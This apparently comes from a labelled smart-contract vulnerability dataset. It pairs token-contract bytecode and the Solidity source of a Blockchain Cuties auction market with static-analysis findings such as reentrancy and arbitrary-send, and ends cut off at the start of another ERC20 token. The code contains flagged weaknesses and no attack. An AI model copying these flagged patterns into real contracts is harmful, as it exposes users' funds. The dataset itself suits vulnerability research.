0b81b81525081565b34801561050f57600080fd5b5061025461051e366004611787565b610b30565b34801561052f57600080fd5b506007546103e3906001600160a01b031681565b34801561054f57600080fd5b5061028461055e36600461182c565b610b3d565b34801561056f57600080fd5b50610284610c56565b34801561058457600080fd5b50610284610e0c565b34801561059957600080fd5b5061029e610e22565b3480156105ae57600080fd5b506102846105bd366004611935565b610e3a565b3480156105ce57600080fd5b5061029e6105dd366004611952565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6000610615338484610eb7565b50600192915050565b6000546001600160a01b031633146106515760405162461bcd60e51b81526004016106489061198b565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106a5848484610fdb565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106d49084906119d6565b90506106e1853383610eb7565b506001949350505050565b60006106f730610a33565b905090565b6007546001600160a01b0316336001600160a01b03161461071c57600080fd5b60005b815181101561078457600060056000848481518110610740576107406119ed565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061077c81611a03565b91505061071f565b5050565b6000546001600160a01b031633146107b25760405162461bcd60e51b81526004016106489061198b565b6007546001600160a01b0316336001600160a01b0316146107d257600080fd5b600081116107df57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108455760405162461bcd60e51b81526004016106489061198b565b600e5460ff16156108985760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610648565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109219190611a1e565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109929190611a1e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a039190611a1e565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b47610a30816113aa565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a785760405162461bcd60e51b81526004016106489061198b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b031614610ae257600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610810565b6000610615338484610fdb565b6000546001600160a01b03163314610b675760405162461bcd60e51b81526004016106489061198b565b60005b81518110156107845760085482516001600160a01b0390911690839083908110610b9657610b966119ed565b60200260200101516001600160a01b031614158015610be7575060065482516001600160a01b0390911690839083908110610bd357610bd36119ed565b60200260200101516001600160a01b031614155b15610c4457600160056000848481518110610c0457610c046119ed565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c4e81611a03565b915050610b6a565b6000546001600160a01b03163314610c805760405162461bcd60e51b81526004016106489061198b565b600e5460ff1615610c9057600080fd5b600654610cb19030906001600160a01b031668056bc75e2d63100000610eb7565b6006546001600160a01b031663f305d7194730610ccd81610a33565b600080610ce26000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d4a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6f9190611a3b565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610dc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dec9190611a69565b50600e805460ff1916600117905542600d55671bc16d674ec80000600c55565b6000610e1730610a33565b9050610a30816113e4565b6008546000906106f7906001600160a01b0316610a33565b6000546001600160a01b03163314610e645760405162461bcd60e51b81526004016106489061198b565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610810565b6001600160a01b038316610f195760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610648565b6001600160a01b038216610f7a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610648565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561100157600080fd5b6001600160a01b0383166110655760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610648565b6001600160a01b0382166110c75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610648565b600081116111295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610648565b600080546001600160a01b0385811691161480159061115657506000546001600160a01b03848116911614155b1561134b576008546001600160a01b03858116911614801561118657506006546001600160a01b03848116911614155b80156111ab57506001600160a01b03831660009081526004602052604090205460ff16155b1561123e57600e5460ff166112025760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610648565b42600d5461012c6112139190611a86565b111561123a57600c5461122584610a33565b61122f9084611a86565b111561123a57600080fd5b5060015b600e54610100900460ff161580156112585750600e5460ff165b801561127257506008546001600160a01b03858116911614155b1561134b57600061128230610a33565b9050801561133457600e5462010000900460ff161561130557600b54600854606491906112b7906001600160a01b0316610a33565b6112c19190611a9e565b6112cb9190611abd565b81111561130557600b54600854606491906112ee906001600160a01b0316610a33565b6112f89190611a9e565b6113029190611abd565b90505b6000611312600283611abd565b905061131e81836119d6565b915061132981611558565b611332826113e4565b505b47801561134457611344476113aa565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061138d57506001600160a01b03841660009081526004602052604090205460ff165b15611396575060005b6113a38585858486611588565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610784573d6000803e3d6000fd5b600e805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611428576114286119ed565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611481573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114a59190611a1e565b816001815181106114b8576114b86119ed565b6001600160a01b0392831660209182029290920101526006546114de9130911684610eb7565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611517908590600090869030904290600401611adf565b600060405180830381600087803b15801561153157600080fd5b505af1158015611545573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff001916610100179055801561157a5761157a3061dead83610fdb565b50600e805461ff0019169055565b600061159483836115aa565b90506115a2868686846115ce565b505050505050565b60008083156115c75782156115c257506009546115c7565b50600a545b9392505050565b6000806115db84846116ab565b6001600160a01b03881660009081526002602052604090205491935091506116049085906119d6565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611634908390611a86565b6001600160a01b038616600090815260026020526040902055611656816116df565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161169b91815260200190565b60405180910390a3505050505050565b6000808060646116bb8587611a9e565b6116c59190611abd565b905060006116d382876119d6565b96919550909350505050565b306000908152600260205260409020546116fa908290611a86565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561173a5785810183015185820160400152820161171e565b8181111561174c576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3057600080fd5b803561178281611762565b919050565b6000806040838503121561179a57600080fd5b82356117a581611762565b946020939093013593505050565b600080604083850312156117c657600080fd5b50508035926020909101359150565b6000806000606084860312156117ea57600080fd5b83356117f581611762565b9250602084013561180581611762565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561183f57600080fd5b823567ffffffffffffffff8082111561185757600080fd5b818501915085601f83011261186b57600080fd5b81358181111561187d5761187d611816565b8060051b604051601f19603f830116810181811085821117156118a2576118a2611816565b6040529182528482019250838101850191888311156118c057600080fd5b938501935b828510156118e5576118d685611777565b845293850193928501926118c5565b98975050505050505050565b60006020828403121561190357600080fd5b81356115c781611762565b60006020828403121561192057600080fd5b5035919050565b8015158114610a3057600080fd5b60006020828403121561194757600080fd5b81356115c781611927565b6000806040838503121561196557600080fd5b823561197081611762565b9150602083013561198081611762565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000828210156119e8576119e86119c0565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a1757611a176119c0565b5060010190565b600060208284031215611a3057600080fd5b81516115c781611762565b600080600060608486031215611a5057600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a7b57600080fd5b81516115c781611927565b60008219821115611a9957611a996119c0565b500190565b6000816000190483118215151615611ab857611ab86119c0565b500290565b600082611ada57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b2f5784516001600160a01b031683529383019391830191600101611b0a565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122051d02c9a4c97f747b03df31b4d1030c3b3395ea5debeac29c040cea7140b999964736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,295
0xba6a643f02fad92124c936ad0f4e9b6889812881
pragma solidity ^0.4.20; contract CutieCoreInterface { function isCutieCore() pure public returns (bool); function transferFrom(address _from, address _to, uint256 _cutieId) external; function transfer(address _to, uint256 _cutieId) external; function ownerOf(uint256 _cutieId) external view returns (address owner); function getCutie(uint40 _id) external view returns ( uint256 genes, uint40 birthTime, uint40 cooldownEndTime, uint40 momId, uint40 dadId, uint16 cooldownIndex, uint16 generation ); function getGenes(uint40 _id) public view returns ( uint256 genes ); function getCooldownEndTime(uint40 _id) public view returns ( uint40 cooldownEndTime ); function getCooldownIndex(uint40 _id) public view returns ( uint16 cooldownIndex ); function getGeneration(uint40 _id) public view returns ( uint16 generation ); function getOptional(uint40 _id) public view returns ( uint64 optional ); function changeGenes( uint40 _cutieId, uint256 _genes) public; function changeCooldownEndTime( uint40 _cutieId, uint40 _cooldownEndTime) public; function changeCooldownIndex( uint40 _cutieId, uint16 _cooldownIndex) public; function changeOptional( uint40 _cutieId, uint64 _optional) public; function changeGeneration( uint40 _cutieId, uint16 _generation) public; } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /// @title Auction Market for Blockchain Cuties. /// @author https://BlockChainArchitect.io contract MarketInterface { function withdrawEthFromBalance() external; function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public payable; function bid(uint40 _cutieId) public payable; } /// @title Auction Market for Blockchain Cuties. /// @author https://BlockChainArchitect.io contract Market is MarketInterface, Pausable { // Shows the auction on an Cutie Token struct Auction { // Price (in wei) at the beginning of auction uint128 startPrice; // Price (in wei) at the end of auction uint128 endPrice; // Current owner of Token address seller; // Auction duration in seconds uint40 duration; // Time when auction started // NOTE: 0 if this auction has been concluded uint40 startedAt; } // Reference to contract that tracks ownership CutieCoreInterface public coreContract; // Cut owner takes on each auction, in basis points - 1/100 of a per cent. // Values 0-10,000 map to 0%-100% uint16 public ownerFee; // Map from token ID to their corresponding auction. mapping (uint40 => Auction) cutieIdToAuction; event AuctionCreated(uint40 cutieId, uint128 startPrice, uint128 endPrice, uint40 duration, uint256 fee); event AuctionSuccessful(uint40 cutieId, uint128 totalPrice, address winner); event AuctionCancelled(uint40 cutieId); /// @dev disables sending fund to this contract function() external {} modifier canBeStoredIn128Bits(uint256 _value) { require(_value <= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF); _; } // @dev Adds to the list of open auctions and fires the // AuctionCreated event. // @param _cutieId The token ID is to be put on auction. // @param _auction To add an auction. // @param _fee Amount of money to feature auction function _addAuction(uint40 _cutieId, Auction _auction, uint256 _fee) internal { // Require that all auctions have a duration of // at least one minute. (Keeps our math from getting hairy!) require(_auction.duration >= 1 minutes); cutieIdToAuction[_cutieId] = _auction; emit AuctionCreated( _cutieId, _auction.startPrice, _auction.endPrice, _auction.duration, _fee ); } // @dev Returns true if the token is claimed by the claimant. // @param _claimant - Address claiming to own the token. function _isOwner(address _claimant, uint256 _cutieId) internal view returns (bool) { return (coreContract.ownerOf(_cutieId) == _claimant); } // @dev Transfers the token owned by this contract to another address. // Returns true when the transfer succeeds. // @param _receiver - Address to transfer token to. // @param _cutieId - Token ID to transfer. function _transfer(address _receiver, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transfer(_receiver, _cutieId); } // @dev Escrows the token and assigns ownership to this contract. // Throws if the escrow fails. // @param _owner - Current owner address of token to escrow. // @param _cutieId - Token ID the approval of which is to be verified. function _escrow(address _owner, uint40 _cutieId) internal { // it will throw if transfer fails coreContract.transferFrom(_owner, this, _cutieId); } // @dev just cancel auction. function _cancelActiveAuction(uint40 _cutieId, address _seller) internal { _removeAuction(_cutieId); _transfer(_seller, _cutieId); emit AuctionCancelled(_cutieId); } // @dev Calculates the price and transfers winnings. // Does not transfer token ownership. function _bid(uint40 _cutieId, uint128 _bidAmount) internal returns (uint128) { // Get a reference to the auction struct Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); // Check that bid > current price uint128 price = _currentPrice(auction); require(_bidAmount >= price); // Provide a reference to the seller before the auction struct is deleted. address seller = auction.seller; _removeAuction(_cutieId); // Transfer proceeds to seller (if there are any!) if (price > 0) { uint128 fee = _computeFee(price); uint128 sellerValue = price - fee; seller.transfer(sellerValue); } emit AuctionSuccessful(_cutieId, price, msg.sender); return price; } // @dev Removes from the list of open auctions. // @param _cutieId - ID of token on auction. function _removeAuction(uint40 _cutieId) internal { delete cutieIdToAuction[_cutieId]; } // @dev Returns true if the token is on auction. // @param _auction - Auction to check. function _isOnAuction(Auction storage _auction) internal view returns (bool) { return (_auction.startedAt > 0); } // @dev calculate current price of auction. // When testing, make this function public and turn on // `Current price calculation` test suite. function _computeCurrentPrice( uint128 _startPrice, uint128 _endPrice, uint40 _duration, uint40 _secondsPassed ) internal pure returns (uint128) { if (_secondsPassed >= _duration) { return _endPrice; } else { int256 totalPriceChange = int256(_endPrice) - int256(_startPrice); int256 currentPriceChange = totalPriceChange * int256(_secondsPassed) / int256(_duration); uint128 currentPrice = _startPrice + uint128(currentPriceChange); return currentPrice; } } // @dev return current price of token. function _currentPrice(Auction storage _auction) internal view returns (uint128) { uint40 secondsPassed = 0; uint40 timeNow = uint40(now); if (timeNow > _auction.startedAt) { secondsPassed = timeNow - _auction.startedAt; } return _computeCurrentPrice( _auction.startPrice, _auction.endPrice, _auction.duration, secondsPassed ); } // @dev Calculates owner's cut of a sale. // @param _price - Sale price of cutie. function _computeFee(uint128 _price) internal view returns (uint128) { return _price * ownerFee / 10000; } // @dev Remove all Ether from the contract with the owner's cuts. Also, remove any Ether sent directly to the contract address. // Transfers to the token contract, but can be called by // the owner or the token contract. function withdrawEthFromBalance() external { address coreAddress = address(coreContract); require( msg.sender == owner || msg.sender == coreAddress ); coreAddress.transfer(address(this).balance); } // @dev create and begin new auction. function createAuction(uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller) public whenNotPaused payable { require(_isOwner(msg.sender, _cutieId)); _escrow(msg.sender, _cutieId); Auction memory auction = Auction( _startPrice, _endPrice, _seller, _duration, uint40(now) ); _addAuction(_cutieId, auction, msg.value); } // @dev Set the reference to cutie ownership contract. Verify the owner's fee. // @param fee should be between 0-10,000. function setup(address _coreContractAddress, uint16 _fee) public { require(coreContract == address(0)); require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; CutieCoreInterface candidateContract = CutieCoreInterface(_coreContractAddress); require(candidateContract.isCutieCore()); coreContract = candidateContract; } // @dev Set the owner's fee. // @param fee should be between 0-10,000. function setFee(uint16 _fee) public { require(_fee <= 10000); require(msg.sender == owner); ownerFee = _fee; } // @dev bid on auction. Complete it and transfer ownership of cutie if enough ether was given. function bid(uint40 _cutieId) public payable whenNotPaused canBeStoredIn128Bits(msg.value) { // _bid throws if something failed. _bid(_cutieId, uint128(msg.value)); _transfer(msg.sender, _cutieId); } // @dev Returns auction info for a token on auction. // @param _cutieId - ID of token on auction. function getAuctionInfo(uint40 _cutieId) public view returns ( address seller, uint128 startPrice, uint128 endPrice, uint40 duration, uint40 startedAt ) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return ( auction.seller, auction.startPrice, auction.endPrice, auction.duration, auction.startedAt ); } // @dev Returns the current price of an auction. function getCurrentPrice(uint40 _cutieId) public view returns (uint128) { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); return _currentPrice(auction); } // @dev Cancels unfinished auction and returns token to owner. // Can be called when contract is paused. function cancelActiveAuction(uint40 _cutieId) public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); address seller = auction.seller; require(msg.sender == seller); _cancelActiveAuction(_cutieId, seller); } // @dev Cancels auction when contract is on pause. Option is available only to owners in urgent situations. Tokens returned to seller. // Used on Core contract upgrade. function cancelActiveAuctionWhenPaused(uint40 _cutieId) whenPaused onlyOwner public { Auction storage auction = cutieIdToAuction[_cutieId]; require(_isOnAuction(auction)); _cancelActiveAuction(_cutieId, auction.seller); } } /// @title Auction market for cuties sale /// @author https://BlockChainArchitect.io contract SaleMarket is Market { // @dev Sanity check reveals that the // auction in our setSaleAuctionAddress() call is right. bool public isSaleMarket = true; // @dev create and start a new auction // @param _cutieId - ID of cutie to auction, sender must be owner. // @param _startPrice - Price of item (in wei) at the beginning of auction. // @param _endPrice - Price of item (in wei) at the end of auction. // @param _duration - Length of auction (in seconds). // @param _seller - Seller function createAuction( uint40 _cutieId, uint128 _startPrice, uint128 _endPrice, uint40 _duration, address _seller ) public payable { require(msg.sender == address(coreContract)); _escrow(_seller, _cutieId); Auction memory auction = Auction( _startPrice, _endPrice, _seller, _duration, uint40(now) ); _addAuction(_cutieId, auction, msg.value); } // @dev LastSalePrice is updated if seller is the token contract. // Otherwise, default bid method is used. function bid(uint40 _cutieId) public payable canBeStoredIn128Bits(msg.value) { // _bid verifies token ID size _bid(_cutieId, uint128(msg.value)); _transfer(msg.sender, _cutieId); } }
0x6060604052600436106100d75763ffffffff60e060020a6000350416633f4ba83a81146100e45780635c975abb146100f75780636066b0661461011e578063776247c4146101315780637ea310d4146101445780638456cb591461017d5780638da5cb5b146101905780638e005553146101bf57806398c9faac146101d95780639ccaec98146101f6578063b2fb3b9014610262578063c170fd541461027f578063c1d1faf314610291578063d5b2a01a146102ca578063e410a0c6146102f4578063e80db5db1461031a578063f2fde38b1461032d575b34156100e257600080fd5b005b34156100ef57600080fd5b6100e261034c565b341561010257600080fd5b61010a6103cb565b604051901515815260200160405180910390f35b341561012957600080fd5b61010a6103db565b341561013c57600080fd5b6100e26103e4565b341561014f57600080fd5b61016164ffffffffff60043516610463565b6040516001608060020a03909116815260200160405180910390f35b341561018857600080fd5b6100e261049d565b341561019b57600080fd5b6101a3610521565b604051600160a060020a03909116815260200160405180910390f35b34156101ca57600080fd5b6100e261ffff60043516610530565b34156101e457600080fd5b6100e264ffffffffff60043516610591565b341561020157600080fd5b61021364ffffffffff600435166105ea565b604051600160a060020a0390951685526001608060020a0393841660208601529190921660408085019190915264ffffffffff92831660608501529116608083015260a0909101905180910390f35b341561026d57600080fd5b6100e264ffffffffff60043516610678565b6100e264ffffffffff600435166106f4565b6100e264ffffffffff6004358116906001608060020a036024358116916044359091169060643516600160a060020a036084351661071e565b34156102d557600080fd5b6102dd6107b1565b60405161ffff909116815260200160405180910390f35b34156102ff57600080fd5b6100e2600160a060020a036004351661ffff602435166107c2565b341561032557600080fd5b6101a36108c6565b341561033857600080fd5b6100e2600160a060020a03600435166108d5565b60005433600160a060020a0390811691161461036757600080fd5b60005460a060020a900460ff16151561037f57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60005460a060020a900460ff1681565b60035460ff1681565b600154600054600160a060020a039182169133811691161480610418575080600160a060020a031633600160a060020a0316145b151561042357600080fd5b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561046057600080fd5b50565b64ffffffffff8116600090815260026020526040812061048281610970565b151561048d57600080fd5b61049681610989565b9392505050565b60005433600160a060020a039081169116146104b857600080fd5b60005460a060020a900460ff16156104cf57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b61271061ffff8216111561054357600080fd5b60005433600160a060020a0390811691161461055e57600080fd5b6001805461ffff90921660a060020a0275ffff000000000000000000000000000000000000000019909216919091179055565b64ffffffffff81166000908152600260205260408120906105b182610970565b15156105bc57600080fd5b506001810154600160a060020a0390811690331681146105db57600080fd5b6105e58382610a10565b505050565b64ffffffffff81166000908152600260205260408120819081908190819061061181610970565b151561061c57600080fd5b60018101549054600160a060020a038216986001608060020a038083169950700100000000000000000000000000000000909204909116965064ffffffffff60a060020a83048116965060c860020a9092049091169350915050565b6000805460a060020a900460ff16151561069157600080fd5b60005433600160a060020a039081169116146106ac57600080fd5b5064ffffffffff811660009081526002602052604090206106cc81610970565b15156106d757600080fd5b60018101546106f0908390600160a060020a0316610a10565b5050565b346001608060020a0381111561070957600080fd5b6107138234610a62565b506106f03383610b95565b610726610edd565b60015433600160a060020a0390811691161461074157600080fd5b61074b8287610c06565b60a060405190810160405280866001608060020a03168152602001856001608060020a0316815260200183600160a060020a031681526020018464ffffffffff1681526020014264ffffffffff1681525090506107a9868234610c6f565b505050505050565b60015460a060020a900461ffff1681565b600154600090600160a060020a0316156107db57600080fd5b61271061ffff831611156107ee57600080fd5b60005433600160a060020a0390811691161461080957600080fd5b506001805475ffff0000000000000000000000000000000000000000191660a060020a61ffff84160217905581600160a060020a038116634d6a813a6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561087357600080fd5b5af1151561088057600080fd5b50505060405180519050151561089557600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555050565b600154600160a060020a031681565b60005433600160a060020a039081169116146108f057600080fd5b600160a060020a038116151561090557600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60010154600060c860020a90910464ffffffffff161190565b60018101546000908190429064ffffffffff60c860020a909104811690821611156109c657600184015460c860020a900464ffffffffff16810391505b83546001850154610a08916001608060020a0380821692700100000000000000000000000000000000909204169060a060020a900464ffffffffff1685610e0c565b949350505050565b610a1982610e73565b610a238183610b95565b7ff6680ade663631ec4dd74f7eaa1f75125361380cd50a22f969e9acfa5f5367048260405164ffffffffff909116815260200160405180910390a15050565b64ffffffffff8216600090815260026020526040812081808080610a8585610970565b1515610a9057600080fd5b610a9985610989565b93506001608060020a038085169088161015610ab457600080fd5b6001850154600160a060020a03169250610acd88610e73565b6000846001608060020a03161115610b2957610ae884610eb6565b915050808303600160a060020a0383166001608060020a03821680156108fc0290604051600060405180830381858888f193505050501515610b2957600080fd5b7f8500e47909916e51e97e4880e742d8b9af1afaeb9ea54166947cf42e6616b11788853360405164ffffffffff90931683526001608060020a039091166020830152600160a060020a03166040808301919091526060909101905180910390a150919695505050505050565b600154600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a03909216600483015264ffffffffff166024820152604401600060405180830381600087803b1515610bf257600080fd5b5af11515610bff57600080fd5b5050505050565b600154600160a060020a03166323b872dd83308460405160e060020a63ffffffff8616028152600160a060020a03938416600482015291909216602482015264ffffffffff9091166044820152606401600060405180830381600087803b1515610bf257600080fd5b603c826060015164ffffffffff161015610c8857600080fd5b64ffffffffff831660009081526002602052604090208290815181546fffffffffffffffffffffffffffffffff19166001608060020a0391909116178155602082015181546001608060020a03918216700100000000000000000000000000000000029116178155604082015160018201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905560608201518160010160146101000a81548164ffffffffff021916908364ffffffffff16021790555060808201516001909101805464ffffffffff9290921660c860020a027fffff0000000000ffffffffffffffffffffffffffffffffffffffffffffffffff909216919091179055507f42971e24f10eb61a6c185ea911be5705b5e002616b3a471dfb477df2b7bb2835838351846020015185606001518560405164ffffffffff95861681526001608060020a0394851660208201529290931660408084019190915293166060820152608081019190915260a001905180910390a1505050565b600080808064ffffffffff80871690861610610e2a57869350610e68565b876001608060020a0316876001608060020a03160392508564ffffffffff168564ffffffffff168402811515610e5c57fe5b05915081880190508093505b505050949350505050565b64ffffffffff16600090815260026020526040812090815560010180547fffff000000000000000000000000000000000000000000000000000000000000169055565b6001546000906127109060a060020a900461ffff1683026001608060020a03160492915050565b60a06040519081016040908152600080835260208301819052908201819052606082018190526080820152905600a165627a7a72305820f82f4f3468e511cbefa6360125e403c0f5bdefd46bcbd96fbc4642b9dac56a960029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,296
0xd305fcd46b408371340385a053ad9aE1B7a1D89b
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is 